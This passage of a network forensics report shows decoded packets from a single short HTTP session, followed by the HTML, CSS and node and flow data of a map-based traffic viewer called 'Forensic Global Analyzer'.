\\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\"\",\\\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\"\",\\\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\"\",\\\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\"\",\\\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\"\",\\\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRX\"\"}}]\"\n2026-07-09 15:36:00.844669,7,TCP 10.152.152.11:64017 -> 77.95.69.15:80,10.152.152.11,77.95.69.15,64017,80,TCP,Internal,Private Network,,,,,,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=52002073 Ack=3830022013,bc24112907bbbc2411360d0c08004500002828f8400080069cc60a98980b4d5f450ffa11005003197d19e4497f7d501020147c530000,\".$.)...$.6\n...E..((.@.....\n...M_E....P..}..I.}P. .|S..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10488, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40134, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.95.69.15\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64017, \"\"dport\"\": 80, \"\"seq\"\": 52002073, \"\"ack\"\": 3830022013, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31827, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 15:36:00.885864,8,TCP 77.95.69.15:80 -> 10.152.152.11:64017,77.95.69.15,10.152.152.11,80,64017,TCP,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=3830022013 Ack=52002073,bc2411360d0cbc24112907bb08004500040dda224000400627b74d5f450f0a98980b0050fa11e4497f7d03197d195018003f391100005a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d,\"ZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1037, \"\"id\"\": 55842, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10167, \"\"src\"\": \"\"77.95.69.15\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64017, \"\"seq\"\": 3830022013, \"\"ack\"\": 52002073, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 14609, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"ZW3geU=\\\"\",\\\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\"\",\\\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\"\",\\\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\"\",\\\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\"\",\\\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\"\",\\\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\"\",\\\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\"\",\\\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\"\",\\\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\"\",\\\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\"\",\\\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\"\",\\\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\"\",\\\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\"\",\\\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\"\",\\\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\"\",\\\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\"\",\\\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\"\",\\\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\"\",\\\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\"\",\\\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\"\",\\\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"\"]}\"\"}}]\"\n2026-07-09 15:36:00.886211,9,TCP 10.152.152.11:64017 -> 77.95.69.15:80,10.152.152.11,77.95.69.15,64017,80,TCP,Internal,Private Network,,,,,,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=52002073 Ack=3830023010,bc24112907bbbc2411360d0c08004500002828f9400080069cc50a98980b4d5f450ffa11005003197d19e44983625010201078720000,\".$.)...$.6\n...E..((.@.....\n...M_E....P..}..I.bP. .xr..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10489, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40133, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.95.69.15\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64017, \"\"dport\"\": 80, \"\"seq\"\": 52002073, \"\"ack\"\": 3830023010, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8208, \"\"chksum\"\": 30834, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 9, \"total_bytes_sent\": 685, \"total_bytes_received\": 4641, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [64017], \"first_seen\": 1783611360.398467, \"last_seen\": 1783611360.886211, \"packets\": [{\"num\": 0, \"time\": 1783611360.398467, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1783611360.398547, \"size\": 66, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1783611360.398691, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1783611360.398737, \"size\": 457, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1783611360.398745, \"size\": 54, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1783611360.844232, \"size\": 3470, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1783611360.844669, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1783611360.885864, \"size\": 1051, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1783611360.886211, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 0.4877438545227051, \"avg_packet_size\": 591.7777777777778, \"packets_per_second\": 18.45230835108562}, {\"id\": \"77.95.69.15\", \"ip\": \"77.95.69.15\", \"packet_count\": 9, \"total_bytes_sent\": 4641, \"total_bytes_received\": 685, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1783611360.398467, \"last_seen\": 1783611360.886211, \"packets\": [{\"num\": 0, \"time\": 1783611360.398467, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1783611360.398547, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1783611360.398691, \"size\": 54, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1783611360.398737, \"size\": 457, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1783611360.398745, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1783611360.844232, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1783611360.844669, \"size\": 54, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1783611360.885864, \"size\": 1051, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1783611360.886211, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"France\", \"city\": \"Unknown\", \"lat\": 48.8582, \"lon\": 2.3387, \"asn\": 39801, \"isp\": \"France IX Services SASU\", \"network\": \"77.95.68.0/22\"}, \"duration\": 0.4877438545227051, \"avg_packet_size\": 591.7777777777778, \"packets_per_second\": 18.45230835108562}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"77.95.69.15\", \"packet_count\": 5, \"total_bytes\": 685, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [64017], \"dst_ports\": [80], \"first_packet\": 1783611360.398467, \"last_packet\": 1783611360.886211, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1783611360.398467, \"timestamp_iso\": \"2026-07-09T21:06:00.398467\", \"timestamp_human\": \"2026-07-09 21:06:00.398\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.95.69.15\", \"ttl\": 128, \"ip_id\": 10485, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64017, \"dst_port\": 80, \"tcp_seq\": 52001669, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 2, \"timestamp\": 1783611360.398691, \"timestamp_iso\": \"2026-07-09T21:06:00.398691\", \"timestamp_human\": \"2026-07-09 21:06:00.398\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.95.69.15\", \"ttl\": 128, \"ip_id\": 10486, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64017, \"dst_port\": 80, \"tcp_seq\": 52001670, \"tcp_ack\": 3830018597, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 3, \"timestamp\": 1783611360.398737, \"timestamp_iso\": \"2026-07-09T21:06:00.398737\", \"timestamp_human\": \"2026-07-09 21:06:00.398\", \"size\": 457, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.95.69.15\", \"ttl\": 128, \"ip_id\": 10487, \"ip_len\": 443, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64017, \"dst_port\": 80, \"tcp_seq\": 52001670, \"tcp_ack\": 3830018597, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1783611360.844669, \"timestamp_iso\": \"2026-07-09T21:06:00.844669\", \"timestamp_human\": \"2026-07-09 21:06:00.844\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.95.69.15\", \"ttl\": 128, \"ip_id\": 10488, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64017, \"dst_port\": 80, \"tcp_seq\": 52002073, \"tcp_ack\": 3830022013, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 8, \"timestamp\": 1783611360.886211, \"timestamp_iso\": \"2026-07-09T21:06:00.886211\", \"timestamp_human\": \"2026-07-09 21:06:00.886\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.95.69.15\", \"ttl\": 128, \"ip_id\": 10489, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64017, \"dst_port\": 80, \"tcp_seq\": 52002073, \"tcp_ack\": 3830023010, \"tcp_window\": 8208, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 4, \"PSH\": 1}, \"packet_sizes\": [66, 54, 457, 54, 54], \"inter_packet_intervals\": [0.0002238750457763672, 4.601478576660156e-05, 0.44593214988708496, 0.04154181480407715], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.4877438545227051, \"avg_packet_size\": 137.0, \"packets_per_second\": 10.251282417269788, \"bytes_per_second\": 1404.4256911659609, \"min_packet_size\": 54, \"max_packet_size\": 457, \"median_packet_size\": 54, \"avg_interval\": 0.12193596363067627, \"min_interval\": 4.601478576660156e-05, \"max_interval\": 0.44593214988708496}, {\"source\": \"77.95.69.15\", \"target\": \"10.152.152.11\", \"packet_count\": 4, \"total_bytes\": 4641, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64017], \"first_packet\": 1783611360.398547, \"last_packet\": 1783611360.885864, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1783611360.398547, \"timestamp_iso\": \"2026-07-09T21:06:00.398547\", \"timestamp_human\": \"2026-07-09 21:06:00.398\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"77.95.69.15\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64017, \"tcp_seq\": 3830018596, \"tcp_ack\": 52001670, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, 